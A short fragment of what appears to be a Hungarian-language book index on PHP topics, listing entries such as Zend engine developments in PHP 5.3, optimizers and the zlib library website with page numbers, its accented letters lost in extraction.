zr cmkk (XML) 565 Zen d weboldal 88 Zend motorok fejlesztsei PHP 5.3-ban 5 Optimizers 377 weboldala 633 zlib knyvtr weboldala 622